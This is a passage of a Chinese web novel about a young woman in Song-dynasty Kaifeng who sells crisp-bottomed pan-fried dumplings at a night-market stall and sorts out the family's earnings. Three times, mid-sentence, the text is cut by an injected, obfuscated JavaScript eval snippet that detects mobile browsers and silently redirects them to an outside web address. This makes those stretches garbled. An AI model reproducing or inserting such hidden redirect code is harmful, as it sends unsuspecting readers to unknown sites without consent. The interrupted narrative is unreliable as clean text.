擀好的皮同样撒粉装车，其余家伙什儿一一泥炉，铁锅，炊具，调料等等，也在家人的七手八脚下很快装好。 推动沉甸甸的灶车，姜宝珠顶开院门，深吸一口气。 是时候了。 出发，挣钱去！ 10. 金玉煎角 装满东西的灶车沉甸甸，双轮辗过门槛处的斜板，震得整座小院都跟着颤。 关上院门，姜宝珠正欲推车，一双更小，却同样有力量的手抢先握住推柄。 “我与三姐姐同去。”姜宝琦道。 ——不是疑问或祈使的语气，与她方才坚持独自撑摊时一般笃定。 姜宝珠注视着小妹亮荧荧的眼，心下微动。 习惯，或者说羁绊真是个可怕的东西。 上辈子当了二十余年自生自灭的野草，移入名为“家”的温室不过几日，便开始有了眷恋和依赖…… 无声莞尔，姜宝珠也握上推车手柄：“琦姐儿跟着便好。我来推，这忒沉——” 话音未落，小姑娘便拂开她手：“灶车不沉。三姐姐若累倒在上面，才叫沉。” “……” 小丫头，担心她累还嘴硬。 姜宝珠搭上车尾一起推，又笑：“琦姐儿，你舔舔嘴皮子——可尝到砒霜？” 姜宝琦眉梢动了动，竟秒懂这后世的梗。 “常与三姐姐在一处，我早百毒不侵了。” “嘶，你这不是砒霜，是鸩毒啊……” 两姐妹你来我往地斗嘴，一边推拉着灶车往桥头去了。 戊时已到，夜市开市在即。 交完免行钱后，府衙官差给了姜宝珠一块青色小木牌，此刻她对着上面的数字，很快寻到对应摊位。 ——好位置，又没那么好。 闻名后世的州桥夜市，她的位置正在桥边。 桥上好啊，行人来往必经之路。那漕船彩舫若瞧见可口的，靠岸来买上一份也是常事。 可这摊位又卡在桥面与桥拱的石墩处，弊端显而易见：面积小了些不说，还堆满了垃圾，厨余，油污，腌臜至极，根本没法落脚。 姜宝珠眉心蹙，蓦地忆起交卫生费时那官差交代的：摊主务必洁净街道，违者杖六十。 ——罚得这般严，这摊位怎会污糟如此？ 除非……有人故意为之。 姜宝珠不动声色地扫了圈桥上其余摊位：紧邻她的，是位卖汤羹的大婶，婶子旁边则是卖饮子的小哥；对面三个摊位除开一个卖杂货的，其余两户皆是卖索饼，馄饨等面食的——都算她对家。 姜宝珠没做声，放下推车转身走入街边的杂货铺。 再出来时，她手里多了一把扫帚，一个麻袋和装满水的木桶。扫帚和买袋是花十文钱买的，木桶则是向掌柜的借的。 走到摊位前，姜宝珠二话不说就是干。 后世她举目无亲全靠自己，练得肩能扛手能提，别说家务，装修和开荒都不在话下。 这点垃圾算个屁。 大扫帚三下五除二就将垃圾扫开，一桶泡了皂角的水泼上去，扫帚再用力扫一遍——地面很快干干净净。 那厢，姜宝琦已经默默将垃圾收进麻袋，噔噔跑去丢掉了。 等她回来，姐妹俩从灶车取水细细净了手，又一齐将车推至摊位。 “哗——” 带花边的大伞撑开，孔雀线刺绣的布幌挂起来，立时令人眼前一亮。 姜宝珠无视周围摊户意味各样的视线，笑盈盈开口：“郎君娘子瞧一瞧看一看哩，奴家手艺管饱又管好！” ——做生意嘛，竞争激烈，就甭谦虚了，她先自吹一波。 四面八方的视线即刻聚过来。 其实早在姜宝珠吆喝之前，周围便都注意到她了——摆摊做生意的女子不少，这般美貌的却不多见。 水灵灵的小娘子，理起污糟物来倒一派爽利，也是稀奇。 好奇者越来越多，且看这小娘子卖什么——东京城里什么都不稀奇，可来个“烧饼西施”，或者“豆腐貂蝉”，倒叫人喜闻乐见。 可她没烧饼也没豆腐，灶车下层拿出一盘子，盘中面食个个饱满似月牙。 有看客不屑“嗐”出一声——平平无奇煎角儿是也。 大肚平底锅已烧热，姜宝珠刷上一层油，将锅贴一个个放放进去。 锅贴煎定型后，她又拿出一只碗，向锅中一倾。 冷水热油的“滋啦”声刚一出，便被锅盖盖住了。 顷刻，姜宝珠掀开木盖，满意扬唇。 肉馅熟嫩透皮，汤水将将皓干，完美！ 她一手端盘，另只手在锅中轻巧一铲，将出锅的锅贴倒扣于盘中。 有人惊异呼出一声。 这煎角儿竟连成一片，朝上的底部好似一面冰花，又如金丝织网。 “嚓——” 锅铲划过这丝网外壳，听声音便知有多焦香酥脆。 姜宝珠正欲开口介绍，便见有人徐步上前。 他头戴东坡巾，身着白色襕衫，须发整洁，气质儒雅，一看便知是有学识的体面人。 果不其然，小摊旁看热闹的两个少年人见到他立马收敛神色，还规规矩矩行了一礼：“先生。” 孙博士板着脸朝二人点点头——这俩猢狲念书时眼皮总粘一处，此刻倒是精神得紧！ 转脸看到小摊上的食物，他又立马慈眉善目：“敢问小娘子，此物……形制倒似角儿，底面却如金丝络结，何故？” 姜宝珠浅福一礼，答道：“好教先生得知，此乃奴家一点拙技，名唤……” 她顿了下，给这冰花锅贴现取了个宋名：“名唤‘金玉煎角儿’！” “以秘制汁水入热油，借水火之力，方得此网形。” ——说得玄乎，其实就是面粉加水调成面浆啦。 孙博士扬调“哦”出一声，胡须动了动：“那这金玉煎角儿，作价几何呐？” 姜宝珠道：“告先生，一碟五枚，只消十五文。” 孙博士不做犹豫：“使得！劳烦小娘子与我一碟。” “好嘞！” 姜宝珠声落手起，锅铲“咔嚓”一下，将大盘中的锅贴不多不少切下五个——底部冰花网一点没碎。 她将五个锅贴放入琦姐儿递过来的小碟里，一手拿起装调料的竹筒：“奴家特调两种蘸汁，蒜醋芝麻油酸香爽口；茱萸甜辛露，乃茱萸油中添些许槐花蜜，辛甜适中——不知先生偏好甚么口味？” 孙博士赞许挑眉。这小娘子定是识文断字之人，不但谈吐有礼，小小蘸料也如此雅致讲究。 他笑：“不瞒小娘子，老夫嗜辛物——那茱萸露尽多淋些！” 说着，他眼眸忽转，目光一顿。 “这……也是煎角儿？怎形制不同，有何讲究？” 姜宝珠顺着人视线看了眼盘中未封口的鱼肉锅贴，答：“先生这一碟乃豚肉为馅，盘中煎角儿则是鲜鱼取肉为馅——” 她递上加过茱萸油的小碟，莞尔：“馅料不同，制法各异。滋味，价格亦不相同——这鱼肉的需二十文一碟。” 孙博士咂摸着接过小碟：“鲜鱼做脍做羹常见，包入煎角倒新奇……便再取一碟鱼肉馅的来！” “是！”姜宝珠心头一喜，手上已开始热锅刷油，“先生趁热用豚肉的，鱼肉馅稍待便好。” 孙博士视线转回手上小碟，并不急于入口。 他先观其色：金丝网状分明，煎角儿莹润饱满，红色茱萸油点缀色彩，更添食欲。 再嗅其气：焦香，肉香，辛香扑鼻而来，层次分明，令人食指大动。 孙博士提筷挟起一枚煎角儿，背对油锅，面朝看客，慢动作般咬下第一口—— “咔嚓——” 酥脆底网被咬断的瞬间，肉馅爆汁迸入嘴中，鲜嫩肉香立时以千军万马之势霸占口腔。 孙博士眼底一亮，不由加快咀嚼速度。 围摊看热闹的眼都不眨地瞧着他吃，只等这老饕或赞或叹。 可他一字未发，喉头滚咽间只“嗯”出一声，接着挟起第二枚煎角儿。 随后便是第三枚，第四枚……一碟煎角儿顷刻入肚。 那笑盈盈的姜小娘子又适时递上一碟鱼肉馅的。 孙博士收回正要揩嘴的帕子，接过继续吃起来。 与初尝豚肉馅一样，他眼睛划过光亮。 ——一亮又一亮。 这鱼肉不似豚馅口□□汁，却多两分嚼劲。鱼馅有着恰到好处的颗粒感，似有活鱼在齿间跳动，鲜美极了！ 一口气吃掉三枚鱼肉煎角儿后，孙博士进食速度慢下来，更细腻地品味。 ——唔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488889|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，居然还加了韭菜！ 他眉心微动，又请姜小娘子在碟沿滴下少许酸醋芝麻油。 蘸过蒜醋的煎角儿送入口中，孙博士猛地吸了口气。 这酸香蘸料将鱼肉鲜味更提一层，真乃绝配！ 只是…… 他垂头看着空荡荡的碟子。 没吃够…… 孙博士放下空盘，意犹未尽地抖了抖胡须。 “妙哉，这煎角儿真当得起‘金玉’二字！外壳焦酥脆响，馅料鲜美多汁，尤是那鱼馅——十足十的真材实料，半点不欺人！” 他竟拱手向姜宝珠一揖，赞道：“小娘子不止手艺绝佳，心思灵巧，更难得有从厨者的良心与诚意！” 姜宝珠被夸得心头一热。 看吧，她对食物的尊重与热爱，是能被人感受到的…… 她深深福了一礼：“先生乃识味知理的大贤，得您一句‘妙哉’，奴家这小摊也沾沾文气！” 孙博士笑意更深。这小娘子手艺妙，嘴也甜得好似蜜煎雕花。 手探进宽袖，他摸出钱来放在摊案上——一串红线串联的铜币，一串即一百文。 “这金玉煎角儿，劳请小娘子为我留一碟豚肉，一碟——不，两碟鱼肉的！明日此刻，我自会着人来取。” 姜宝珠客气道谢，又忽觉“着人来取”这话有些耳熟。 ——哦，那位吃冷淘的郑参军，也说过这般话…… 她不知道的是，这孙博士确实是因为郑参军，才有缘来她这小摊做开张食客的。 孙博士与郑参军幼时便是玩伴，一同读书，一同中举，一个入了开封府衙，一个进了国子监。而后二人居然娶了一对堂姐妹，同日完婚，硬生生从把兄弟变成真连襟儿。 婚后两家人同住一巷，郑参军家有三个比猴还皮的小子，孙博士膝下三个粉雕玉琢的闺女，两姓有结娃娃亲的打算，走动相当频繁。 这一日，两家娘子带着六个孩子，前呼后拥地逛庙会去了。孙博士攥着娘子赏的一贯钱，迫不及待约老友去酒楼——谁知上门就撞见那老朽在吃独食！ 他自诩老饕，一眼便瞧出那碗冷淘不俗。可郑参军护儿子似地护着碗，不肯分食。 期期艾艾半晌后，他才松口：“罢！便与你两口尝个滋味。” 郑参军起身去取碗筷，回来就瞧见孙博士已然捧着冷淘吃起来——碗都空了一半！ 孙口夺食讲究策略，郑参军抄起醋碟一股脑儿倒冷淘碗里，不喜酸食的孙博士立时吹胡子瞪眼。 “郑老弟出尔反尔好不厚道！说好与我两口——可还有一口没吃呢！” 郑参军冷哼一声：“四妹夫脸大如盆，巨口深渊，再来一口，怕连碗底都要吞喽！” “……” 孙博士拂袖而去，两人不欢而散。直至二更天躺到榻上，他怨气才消些。 可那冷淘的滋味却愈发难忘，勾得人阖不上眼。 辗转反侧间，孙博士又忆起郑参军护着碗时嚷道：“姜秀才捎话，说他家三娘今日夜市出摊，你尽去买吧！我不似你，总藏私房钱……” 揩嘴的帕子揣回袖口，孙博士又想起什么，回头对小摊道：“那茱萸蘸料小娘子莫忘了，务必同煎角儿一齐捎来。” “先生放心。” 孙博士手抚肚腹踱下桥，脑中已浮现明日情景：他笑眯眯地将金玉煎角儿淋满茱萸油，那不食辛物的郑参军只能干瞪眼…… 气煞那老朽，嘿！ …… “当啷——” 看着琦姐儿将两串铜钱掷入陶罐，姜宝珠浑身一振。 啊，这美妙的，金钱入账的声音！ 这铜串击罐的动静好似打开一道看不见的闸门，围观人群潮水般涌向姜记食摊。 “劳小娘子，豚肉鱼肉馅料的各与学生一碟！” 方才同孙博士打招呼的两书生近水楼台先得月，几乎异口同声道。 国子监谁人不知孙博士贪吃——哦不，喜好美食。 偏他还是个讲究挑剔的，得老饕赞者，寥寥无几。 思及此，二人更加热切地看着煎角儿下锅。 ——先生严选，准没错！ 11. 金玉煎角 天老爷！ “与我一碟豚肉煎角儿，要那旋煎冒油的！” “两碟，两碟鱼肉的！小娘子，你这蘸料另算钱吗？” “煎花须完整无缺，煎角儿要不油不腻，我自有提盒装——呵呵娘子担待，老奴家的哥儿是个挑嘴的……” “没鱼肉馅的了？那这锅豚肉的便归于洒家罢！” “怎、怎可都与你！分明有我的两碟……” 食客们蜂拥而至，姜宝珠在家中包好的三十来个煎角儿转瞬卖光。 现包现煎，她速度慢下来。小摊险些乱成一锅粥，好在姐妹俩及时打出配合： 琦姐儿负责洗餐具，收钱，尤其要盯住那浑水摸鱼想逃单的；姜宝珠即可专心下灶。 她手上当真是一刻没停过：煎角儿不停地包，油锅不停地热，面浆水一盆盆往里倒，嘴上还得一直招呼着，决不能怠慢。 烟熏火燎间，姐妹俩虽灰头土脸，却也喜气洋洋。 “姜姐姐，你可搭卖羹汤或饮子？” 姜宝珠指尖一捏，包好一猪肉角儿，得空撩起眼皮。 一亭亭玉立的小姑娘捧着半碟煎角儿，嘴唇被茱萸油辣得发红。 “姑娘，我单卖煎角儿的。咱这桥上的饮子汤羹都好滋味，尝尝不亏！” 她话音刚落，一旁卖汤羹的婶子怔住。 扭头对上姜宝珠笑盈盈的脸，她也赶紧报以感激一笑。 对面那卖饮子的小哥已吆喝起来：“冰乳酪，荔枝膏——搭煎角儿吃正好嘞！” 卖羹婶子白他一眼，也扯开嗓门：“银丝羹，五红汤——凡买姜娘子煎角儿的，我这汤羹可饶一文——两文！” 她这一喊，周遭生意都开始铆足了劲儿拉客，桥头一时间热闹非凡。 人总是喜欢扎堆的，不多时，半个夜市的人好似都朝州桥来了！ 桥上桥下乌泱泱都是人，有赶来吃那新奇煎角儿的，也有想瞧一瞧手艺绝佳姜小娘子的。 有人好不容易挤到跟前，汗还来不及抹，又傻眼了——摊位已空空如也。 那姜记食摊不知何时早收摊走人。 ——卖光了！ - 桥下隔水巷口处，姜明远遥遥望着那一派红红火火，目瞪口呆。 他珠儿……真将这生意撑起来了？ 身侧响起一声啜泣，他扭头，见自家娘子正掩帕垂泪。 “你……哭甚？”姜明远揽过娘子肩头，笑了，“咱珠儿琦儿有这本事，合该高兴啊！” 付惜音点点头，又摇头：“到底是油烹火烧，迎来送往的辛苦活儿……我，我心疼她们女儿家！” 俩姐儿决意不要爹娘跟，可他们哪放心得下。眼瞅俩人哼哧哼哧推车走远了，便出门悄咪咪跟上。 见摊位被人弄得污糟不堪，姜明远恼得眼都红了，一下说要告街道司讨个说法，一下又要去帮女儿洒扫——都被付惜音劝住了： “还未开张便与人看了大热闹，让珠姐儿怎么做生意！” 有心急的食客朝女儿嚷嚷时，付惜音更急：“这旋包旋煎忒累人！我也去帮忙——” “那摊位不过三尺，哪还有立足地？”这下换姜明远生劝娘子，“忙中易生乱，瞧瞧再说罢！” 直到看见姐俩配合愈发熟稔，两人才终于放下心来…… 此刻，夫妇俩沿着河道悠悠往家走，耳后还能听见没赶上吃煎角儿的人在长吁短叹。 姜明远欣慰笑，又想到什么，目光黯然：“珠儿不让咱跟着摆摊，如今想来，也不无道理……” 付惜音也了然笑：“珠姐儿绮姐儿真是长大了，比咱拿得住主意，也比咱能干！” 身旁人没接话。 付惜音扭头，瞧见自家官人在夜色中晦暗不明的眼，他幽幽叹出一声：“是啊，珠儿是真懂事了，今儿还跟我说往后家中要攒些钱，不能像从前一般总花个精光……” “从前我领着衙门的月钱，虽说微薄，倒也入账稳妥，花起来便没个顾忌。与你和孩子花钱我自然不心疼，却也……存了别的心思。” “娘子可还记得，赁咱家院儿时你曾好生劝过我，叫我省些银子，赁两三间房便好。我嘴上说孩子多，得住宽敞些，实则……我是想有个像样的院儿，能撑些门面。” 姜明远声音渐低，同时停下脚步。他垂首立在街边，慢慢地，将从未吐露过的难堪与心事诉与最亲近的人。 “这些年来，我心头总憋着口气，想叫人都瞧见咱过得好，叫人晓得我——姜明远虽入仕无望，同样能荫庇妻儿，叫妻女吃穿用度都体面……” 他阖眼，悠长吁出一口气。 “可如今我才知晓，这体面，向来不是旁人给的，乃是自己挣的，更是银子堆起来的。” 珠儿定是看清这个理儿，才决意要摆摊的吧？ 青舟是否也一样，才会与他决裂，愤然离家的？ 如此看来，他这个饱读诗书的秀才公，还不如家里孩子明朗…… 姜明远摇头苦笑：“娘子，都说‘百无一用是书生’，当真如此……” “官人何出此言？怎可这般辱没自己！”付惜音挽上他胳膊，柔声眷眷。 “君子论迹不论心，这些年，你待我们娘几个如何，我们都看在眼里，也记在心上。官人实实在在养家，我们跟着你，也是宽了心，享过福的！” 自家官人方才坦白的那些心迹，付惜音早心知肚明——二十余载枕边人，她怎能不懂他？ 只是有些话只可意会，不能言明。 所谓“至亲至疏夫妻”，正如此。 幸而，官人这心结总算开始消解了…… “一家人过日子，不就是你托着我，我拉着你么？”付惜音动容道，“从前是你护着我们娘几个，如今两个姐儿长了本事，青舟也在外历练——孩子们都懂得反哺，不也是官人教子有方吗？” 她携过姜明远的手，二人并肩继续往前走。 “只要咱一家人心在一起，劲儿往一处使，日子总会越过越好。” 转过弯，一盏夜灯照亮回家路。 他们到家了。 姜明远握紧娘子的手，豁然笑了：“娘子说的是。” “只要一家人在一起，便是好日子。” - 姜宝珠昨日回家洗漱完，早早就睡下了。 劳动使人安心，赚钱更叫人舒心，她睡了穿越以来——不，即便在后世，也难有这般一夜好眠。 晨起，神清气爽。 走出厢房，她吓了一跳。 小院竟一夜变了样！ 靠墙堆砌的陈年杂物不翼而飞，边边角角都收拾利落，就连柴火都码得十分整齐。 变化最大的是紧挨院墙的那两块地。土地难得，这边有院的人家基本都会种菜养花，他们家却什么也没种，好好的地一直荒着，杂草长了半人高。 如今杂草尽除，两块地也都松了土，浇过水，散发着清新而蓬勃的气息。 姜明远没穿平日的宽袖长衫，一身粗布衣裳站地里，裤腿高高挽在膝上。 见女儿出来，他撂下手中锄头，笑容满面地打量自己的劳动成果。 “珠儿来瞧瞧，爹这地锄得怎么样？” 姜宝珠很惊喜：“爹爹怎想起锄地了？可是要种些甚么？” “你爹爹说，这地荒也是荒着，不若种些你出摊用得上的菜。用不完，咱自家人也能吃。”付惜音替官人答道。 “不错。”姜明远点头，“今日书铺忙完，我便去买些菜种。若快些，不等中秋，咱便能吃上自家种的菜了。” “你安心抄书罢！”付惜音道，“我要去大相国寺的绣局领活儿，横竖顺路，一道儿便把菜种买回来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488890|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜宝珠眉心拧了下，还未开口，她爹爹便急切道：“你寻甚么绣活儿？恁费眼——” “我和寺中的绣娘说好了，喏，二百文定钱都到手！”付惜音从腰间摸出荷包晃了晃。 “官人且宽心，都是些帕子腰带的零散活儿，每日只绣一个时辰，无碍的。” 这家里没人推她赚钱，可瞧着女儿下灶出摊，官人抄书不辍，她心头也生出一股力气来：总要为家里赚些钱回来！ 珠儿有厨艺，她也有绣工嘛，女儿那套她也照搬过来——先斩后奏。 姜明远叹出口气，无奈点头：“由你罢。只是有言在先：每日至多绣一个时辰。娘子眼若熬坏了，为夫也是要心痛的。” 付惜音面上一赧，瞟了眼女儿：“说甚么呢……” 咦—— 姜宝珠抖了抖浑身的鸡皮疙瘩，假装什么都没听见。 余光瞥见灶房门内的推车，她赶快走过去。 车下层那个沉甸甸的陶罐，还没来得及清点呢。 姜宝珠抱着钱罐子出来，琦姐儿的厢房门也开了。 她是个勤快孩子，总是天一亮便起来洒扫院子——今儿一觉睡到巳时，可见昨日出摊累狠了。 见全家都齐了，付惜音便招呼着吃朝食。一家人边吃昨日余下的大半锅鱼羹，一边算账。 昨日开业大吉，一个时辰便卖精光。赚了多少，姜宝珠心中早有数： 两斤半猪肉花费一百二十五文，包了二百个煎角儿，入账该有六百文； 三斤大鱼六十文，出馅一斤半，做了一百个鱼肉煎角儿，入账四百文； 等等，成本还需算上芹菜韭菜，面粉调料，乃至柴火钱——就算八十文吧，毕竟光面粉就用了五斤多呢。 这样算下来，她昨日利润差不多有七百文。 果不其然，拨完算盘的琦儿姐报出准数：不算调料，净赚七百二十文。 姜明远和付惜音听到这个钱数后，同时倒吸一口气。 天老爷！ 一日便赚七百文，那一月便足足有二十贯钱！！ 这比姜明远在衙门任职，外加抄书时赚得还要多…… 家里人全都喜不自胜，姜宝珠倒淡定很多。 如此进项，自然算得上旗开得胜，但不可忽视其中有运气成分： 首先，昨日那低价鱼肉纯属偶然——总不能让她老爹日日都去鱼摊边蹲死鱼吧！ 要知道，新鲜活鱼正常价格，可比昨日价格高一倍不止。 再者，昨儿赶上孙博士为她背书，也算得贵人相助…… 冷静下来这样一看，姜宝珠便顾不得沾沾自喜了——正常价成本在三百文左右，等开张的新鲜劲儿过了，营收怕是得降…… 不成，要么压点成本，要么再提提利润。 涨价是最快的方法，但不可行：夜市摊户多，价格卷得厉害，她那二十文的鱼肉煎角儿没多贵，但也不算便宜。若再提价，恐怕赶客。 再说了，昨儿卖得好立马就涨价，与人观感忒差，她可是想做长久买卖的。 要不多卖些？ 这似乎很可行，毕竟昨日一个时辰便卖光三百个煎角儿。若她动作再快些，加上琦姐儿帮工，一日总能卖五六百个吧？ 下一刻，姜宝珠又摇摇头。 昨儿那三百个煎角儿她可是一刻没停，忙活了大半日才做出来。猪肉馅得一下一下剁，鱼肉馅得一点一点刮，还要和面擀皮，调制馅料…… 总之，想做出孙博士口中“真材实料，良心诚意”的煎角儿，哪个环节都马虎不得，再快也快不到哪儿去了…… 如此捋清思路，姜宝珠很快放弃在煎角儿加码——看来，得抓紧上新了。 有什么食物成本低，利润空间大，做法不复杂，还能和煎角儿一起搭卖呢？ 姜宝珠陷入沉思。 12. 分钱算账 见女儿托着下巴出了神，夫妻俩对视一眼，心下了然。 “珠儿可是忧心煎角儿不够卖？”姜明远问，“莫急，咱家齐下灶便是！” “是啊。”付惜音接着道，“我晌午便能绣完活儿，你爹爹忙完书铺也回家包煎角儿——今日多做二百个不成问题！” 爹娘这话赶话的，姜宝珠都没能插上嘴。 她笑着摇摇头：“煎角儿昨日那数目便足够，爹爹阿娘不必费心。” 不等他们再驳，姜宝珠便拨出三串一百文的铜钱：“昨日采买豚肉鱼肉的花费，合该我出。” “噫，你这孩子——”付惜音嗔她一眼，没接那三串钱，“跟爹娘怎还算账呢？” “阿娘，过日子总要精打细算，才能细水长流。”姜宝珠认真道，说着她又拨出两串钱来，推到正扒碗喝鱼羹的小姑娘面前。 “琦姐儿，这是你的。” 姜宝琦鼓起的腮帮定住，眼睛瞬间瞪圆，像只惊呆的小仓鼠。 姜宝珠嗤地笑了，将钱串子直接塞小妹手中：“拿着。昨日实在辛苦，这是你该得的。” 姜宝琦跟被烫到手一般，忙将钱串往外推：“食摊上的活儿多是三姐姐做，我，我只是帮忙，怎好拿钱……” “为何不能？”姜宝珠反问道，“昨儿你又是推车洗碗，又是算账收钱——做了这许多活儿，自是要拿钱！” 姜宝琦目光荧荧看姐姐一眼：“三姐姐摆摊是为贴补家里，我帮忙做些活，也是应当……” 她垂下头：“姐姐日日下灶，爹爹夜里还在抄书，阿娘如今也接了绣活儿，你们这般辛苦为家里，我只洗碗算账……实在算不得什么。” “琦姐儿此话差矣。”姜宝珠正色道，“爹娘和我辛苦是真，你洗碗算账的辛苦难道有假？我们既实实在在赚了钱回来，你为何不能？” 她将钱串子再次塞人手里：“谁的辛苦都值钱，谁都不该白白辛苦！分你三成，理所应当。” 昨儿姜宝珠卖了汤羹摊人情后，那卖汤的郑婶子便主动与她攀谈起来。郑婶子说她这手汤羹可是家传的，头回卖羹赚钱时，比姜宝珠还小好几岁呢。 她成亲早，家中除了两个儿子，还有一小女儿，等再过两年，便让女儿也撑个摊卖羹。 “待那时，日子便更好过了。”郑婶子笑道，“她为家中添些进项，我也能为她多攒下些嫁妆，往后说个好人家！” 看着婶子喜气洋洋的脸，姜宝珠心头怪异地动了动，颇感慨： 这夜市中讨生活做生意的女子不少，她们大概也会像郑婶子的女儿，像年轻时的郑婶子一样，将每日所得贴补家里。 家中人多半也不会苛待她们，还会想法设法迎合大宋厚嫁的风气，尽力为她们多备嫁妆。 可是，为什么一定要等到女儿出嫁，父母才会将财产交与她们？ 若非一定要等到嫁人，得了嫁妆才有钱花，郑婶子这样的女子，会不会另有一番天地？ 姜宝珠看了眼蹲在一旁认真洗碗的琦姐儿，暗下决心： 钱就是人的胆，尤其他们这种穷门小户。琦姐儿手头须攥些银子。 她年纪虽小，可早慧聪颖，若能养出劳有所得，自食其力的底气，或许能生出不一般的心志…… 姜宝琦面色涨红，不知所措地看向爹娘。 姜明远沉吟片刻，点头：“珠儿说得在理。都是为咱家，谁都不该白白辛苦。” “既如此，往后各人赚的钱，便各人拿着。珠儿，你食摊才撑起来，少不了还要用银子，家中开销，房赁钱便不要你出——莫忧心，这钱爹赚得出！” 昨夜娘子道，一家人总是这个托着那个，从前有他托着她们，现今珠儿也能托着他们了。 这话宽慰了他，也点醒了他——珠儿托的合该是家底，不是把一家子都压她身上了。 他这当爹的还没老呢！ 姜明远继续道：“往后每月逢十四——便是交房赁前一日，咱一家人总要坐下对账。一来若我进项不够，有人能补上赁钱；二来，咱家也定个‘君子之约’：各人赚多赚少不要紧，手头总要留些盈余，万不可像从前那般钱袋空空——如何？” “甚好啊！”姜宝珠立刻高声附和。 她差点就要热泪盈眶，恨不得为爹爹起立鼓掌。 菩萨显灵，真人保佑！ ——她爹总算晓得要理财攒钱啦！ “君子协议”落定，姜家首次家庭财务会议随之圆满结束。每个人都腰上揣着钱，脸上放着光，浑身是劲儿地各忙各事去了。 爹娘前后脚出了门，琦姐儿去灶房洗菜，姜宝珠则拎起菜篮往市集去——想要控制好成本，采买这事儿还得自己来。 无需闲逛，爹爹昨日已替她摸清行情。姜宝珠径直走到好价猪肉行前，以长期合作为开头，将价格硬生生谈低五文——算下来，每日买猪肉能省二十文呢！ 鱼虾行那边则一文钱都讲不下，且显然是她爹把路走死了——那掌柜的连死鱼便宜买的木牌都取了下来…… 拎着新鲜鱼肉往家走，姜宝珠脚步忽地顿住。 “咕咕咕——” “嘎嘎嘎——啊！！” 鸡毛纷飞，鸭血四溅。 她抬头，看见鸡鸭行的招牌。 - 归家着手做起煎角儿时，和昨日差不多时辰。 头一回赚到工钱的姜宝琦干劲十足：“我来！” “我帮三姐姐切菜。” “区区葱姜水，无需姐姐动手！” …… 有如此卖力的帮工，姜宝珠省事不少，比昨日多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488891|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出大几十个煎角儿——看来她的判断不错，每日三四百个角儿，便是小摊产出的极限了。 太阳西沉，姐俩儿推着沉甸甸的灶车出了门。 昨日她们车推得吃力，这巷子里愣是没瞧见一个人。今儿倒好，车轱辘刚一转，这人呼啦一下，全冒出来了。 “珠姐儿可是要摆摊去？” “我家皮猴儿昨日都瞧见了，说珠姐儿那煎角儿卖可好哩！名儿也好听，叫甚……玉花煎角儿！” “是金玉煎角儿！珠姐儿，你与嫂子说实话，那新奇角儿……真是你自家做的？” “自然。”姜宝珠淡淡一笑，“得空去我那食摊尝尝，便宜卖与嫂子。” “煎角儿罢了……一个个稀奇的，似是没吃过好东西。” ——咦，这话捻酸太甚。 姜宝珠睇过去，果然瞧见那吴大郎的娘，方婶子正倚着门框看热闹。 姜宝珠笑笑没理会。 她心情好，瞧方婶子都算半个股东——没她那四贯钱，小摊还没这么快支起来呢。 姜宝珠无心打嘴仗，看热闹的人却嫌事少。 “哎哟我说方娘子，甚么叫好东西啊？是你那熬过三遍汤还舍不得丢的棒骨，还是你家大郎都啃不动的鞋底炊饼呐？” 方婶子将手中的瓜子壳一扔：“呸，老娘家的羊汤便是熬过八遍，也比你那没半点肉腥的饭强！” 有人嗤出一声：“若如此，你也该去摆摊啊，定比珠姐儿赚得还多！” “诶，你搬来迟，有所不知，方娘子早几年便卖过卤货——后来怎不卖了呢？” “还不是忙着奶我家三郎，不得空罢了！”方婶子还在嘴硬——当这么多人面，总不能说她当初连柴火钱都没赚回来吧。 讪讪看了眼姜家远去的灶车，她哼声：“我那卤货铺子若还在，不比摆摊赚的少！” 有人立马拱火：“你再开便是，让你家大郎再寻辆灶车回来。” “是啊，嫂子何不明日便去叫卖，把那四贯钱快快赚回来……” 姜宝珠浑然不知巷中唇枪舌战愈发激烈，已和琦姐儿齐力将灶车推到桥下。 抬眼望去，她精神一振——桥头居然已经开始排队啦！ “走，咱快过去！”姜宝珠催促道，浑身好像也生出使不完的劲儿。 今日煎角儿备的多，若生意还能如昨日一般红火，她们或许能净赚一贯钱呢！ 姐妹俩很快将车推过去，姜宝琦忽而变了脸色：“三姐姐，你瞧——” 姜宝珠应声抬头，怔住。 桥上那两家卖索饼馄饨的小摊前人头攒动，食客络绎不绝——原来她们刚看见的队伍，竟是排他们家的。 那两家全换了新布招，明晃晃挂于摊前： 金丝煎角儿，十文一碟 13. 忒不厚道 跟风这种事，姜宝珠后世没少见： 大到每年的流行款式和热门色号，小到奶茶店新出的小料。 她当美食博主时不同样很关注热点么，人人扎堆开黄油蟹时，她泡在水产市场找螃蟹；博主们都卷佛跳墙那会儿，她直接打飞的直奔闽南…… 